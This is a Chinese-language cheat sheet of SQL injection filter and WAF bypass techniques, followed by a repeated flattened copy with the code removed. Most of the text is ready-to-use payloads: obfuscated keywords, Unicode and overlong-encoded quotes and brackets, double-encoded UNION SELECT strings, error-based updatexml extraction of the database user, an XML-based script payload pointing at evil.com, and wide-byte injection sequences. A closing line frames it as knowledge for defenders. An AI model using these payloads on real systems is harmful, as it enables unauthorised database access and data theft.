SQL注入速查表
字数 1734 2025-08-15 21:32:22

SQL注入绕过技术全面指南

1. 基础关键字绕过技术

1.1 逻辑运算符绕过

  • or||
  • and&&
  • xor|
  • not!

1.2 十六进制编码绕过

  • oro\x72
  • selectselec\x74
  • unionunio\x6e

1.3 大小写混合绕过

  • Or, aNd, SelEct, UnIoN

1.4 双写关键字绕过

  • oorr 代替 or
  • anandd 代替 and
  • selselectect 代替 select
  • uniunionon 代替 union

1.5 内联注释绕过

  • /*!or*/
  • /*!and*/
  • /*!union*/
  • /*!select*/

2. 特殊字符绕过技术

2.1 单引号绕过

Unicode编码形式:

  • %u0027
  • %u02b9
  • %u02bc
  • %u02c8
  • %u2032
  • %uff07
  • %c0%27
  • %c0%a7
  • %e0%80%a7

2.2 括号绕过

左括号:

  • %u0028
  • %uff08
  • %c0%28
  • %c0%a8
  • %e0%80%a8

右括号:

  • %u0029
  • %uff09
  • %c0%29
  • %c0%a9
  • %e0%80%a9

3. 空格绕过技术

3.1 替代字符

  • %20 (标准空格)
  • %09 (Tab)
  • %0a (换行)
  • %0b (垂直Tab)
  • %0c (换页)
  • %0d (回车)
  • %a0 (不换行空格)

3.2 注释符绕过

  • /**/
  • /*任意内容*/
  • //
  • --%20
  • /00
  • ;

3.3 数据库特定空白字符

  • SQLite3: 0A,0D,0c,09,20
  • MySQL: 09,0A,0B,0B,0D,A0,20
  • PostgreSQL: 0A,0D,0C,09,20
  • Oracle 11g: 00,0A,0D,0C,09,20
  • MSSQL: 01-20范围内的多个控制字符

3.4 特殊符号替代

  • 反引号 `
  • 加号 +
  • 感叹号 !
  • 科学计数法 (如 0e1)

4. 比较运算符绕过

4.1 等号(=)绕过

  • like 替代: ?id=1' or 1 like 1#
  • IN 替代: or '1' IN ('1234')#

4.2 比较符(>,<)绕过

select * from users where id=1 and ascii(substr(database(),0,1))>64
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

5. SQL子句绕过技术

5.1 WHERE子句绕过

原始:

1 && (select user from users where user_id = 1) = 'admin'

绕过:

1 && (select user from users limit 1) = 'admin'

5.2 LIMIT子句绕过

原始:

1 && (select user from users limit 1) = 'admin'

绕过:

1 && (select user from users group by user_id having user_id = 1) = 'admin'

5.3 GROUP BY子句绕过

原始:

1 && (select user from users group by user_id having user_id = 1) = 'admin'

绕过:

1 && (select substr(group_concat(user_id),1,1) user from users ) = 1

5.4 SELECT子句绕过

原始:

1 && (select substr(group_concat(user_id),1,1) user from users ) = 1

绕过:

1 && substr(user,1,1) = 'a'

6. 逗号绕过技术

6.1 SUBSTR/MID函数

使用 from for 替代逗号:

select substr(database() from 1 for 1);
select mid(database() from 1 for 1);

6.2 LIMIT子句

使用 offset 替代逗号:

select * from news limit 1 offset 0  # 等价于 limit 0,1

7. 编码绕过技术

7.1 十六进制编码

SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

7.2 双重编码

?id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+

7.3 CHAR函数拼接

CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)  # 等价于 'Test'

8. 函数替代技术

8.1 常用函数替代

  • hex(), bin()ascii()
  • sleep()benchmark()
  • concat_ws()group_concat()
  • mid(), substr()substring()
  • @@useruser()
  • @@datadirdatadir()

8.2 字符串比较替代

strcmp(left('password',1), 0x70) = 0

9. 高级绕过技术

9.1 XML函数利用

MySQL/PostgreSQL:

Select UpdateXML('<script x=_></script>','/script/@x/','src=//evil.com')
?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror));

9.2 NULL字符绕过

select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0

9.3 PCRE限制绕过

利用PHP的pcre.backtrack_limit限制:

union/*aaaaaaaxN*/select

10. 综合绕过示例

10.1 宽字节注入

  • %bf%27
  • %df%27
  • %aa%27

10.2 多重编码组合

结合URL编码、Unicode编码、十六进制编码等多种编码方式组合使用。

10.3 逻辑重组

通过改变SQL语句的逻辑结构来绕过过滤,如使用HAVING替代WHERE,使用子查询替代JOIN等。

总结

本指南详细介绍了各种SQL注入绕过技术,包括关键字替换、编码转换、特殊字符使用、函数替代等多种方法。实际应用中,通常需要组合多种技术才能有效绕过现代WAF的检测。安全人员应了解这些技术以更好地防御SQL注入攻击。

SQL注入绕过技术全面指南 1. 基础关键字绕过技术 1.1 逻辑运算符绕过 or → || and → && xor → | not → ! 1.2 十六进制编码绕过 or → o\x72 select → selec\x74 union → unio\x6e 1.3 大小写混合绕过 Or , aNd , SelEct , UnIoN 1.4 双写关键字绕过 oorr 代替 or anandd 代替 and selselectect 代替 select uniunionon 代替 union 1.5 内联注释绕过 /*!or*/ /*!and*/ /*!union*/ /*!select*/ 2. 特殊字符绕过技术 2.1 单引号绕过 Unicode编码形式: %u0027 %u02b9 %u02bc %u02c8 %u2032 %uff07 %c0%27 %c0%a7 %e0%80%a7 2.2 括号绕过 左括号: %u0028 %uff08 %c0%28 %c0%a8 %e0%80%a8 右括号: %u0029 %uff09 %c0%29 %c0%a9 %e0%80%a9 3. 空格绕过技术 3.1 替代字符 %20 (标准空格) %09 (Tab) %0a (换行) %0b (垂直Tab) %0c (换页) %0d (回车) %a0 (不换行空格) 3.2 注释符绕过 /**/ /*任意内容*/ // --%20 /00 ; 3.3 数据库特定空白字符 SQLite3 : 0A,0D,0c,09,20 MySQL : 09,0A,0B,0B,0D,A0,20 PostgreSQL : 0A,0D,0C,09,20 Oracle 11g : 00,0A,0D,0C,09,20 MSSQL : 01-20范围内的多个控制字符 3.4 特殊符号替代 反引号 ` 加号 + 感叹号 ! 科学计数法 (如 0e1 ) 4. 比较运算符绕过 4.1 等号(=)绕过 like 替代: ?id=1' or 1 like 1# IN 替代: or '1' IN ('1234')# 4.2 比较符(>, <)绕过 5. SQL子句绕过技术 5.1 WHERE子句绕过 原始: 绕过: 5.2 LIMIT子句绕过 原始: 绕过: 5.3 GROUP BY子句绕过 原始: 绕过: 5.4 SELECT子句绕过 原始: 绕过: 6. 逗号绕过技术 6.1 SUBSTR/MID函数 使用 from for 替代逗号: 6.2 LIMIT子句 使用 offset 替代逗号: 7. 编码绕过技术 7.1 十六进制编码 7.2 双重编码 7.3 CHAR函数拼接 8. 函数替代技术 8.1 常用函数替代 hex() , bin() → ascii() sleep() → benchmark() concat_ws() → group_concat() mid() , substr() → substring() @@user → user() @@datadir → datadir() 8.2 字符串比较替代 9. 高级绕过技术 9.1 XML函数利用 MySQL/PostgreSQL : 9.2 NULL字符绕过 9.3 PCRE限制绕过 利用PHP的 pcre.backtrack_limit 限制: 10. 综合绕过示例 10.1 宽字节注入 %bf%27 %df%27 %aa%27 10.2 多重编码组合 结合URL编码、Unicode编码、十六进制编码等多种编码方式组合使用。 10.3 逻辑重组 通过改变SQL语句的逻辑结构来绕过过滤,如使用HAVING替代WHERE,使用子查询替代JOIN等。 总结 本指南详细介绍了各种SQL注入绕过技术,包括关键字替换、编码转换、特殊字符使用、函数替代等多种方法。实际应用中,通常需要组合多种技术才能有效绕过现代WAF的检测。安全人员应了解这些技术以更好地防御SQL注入攻击。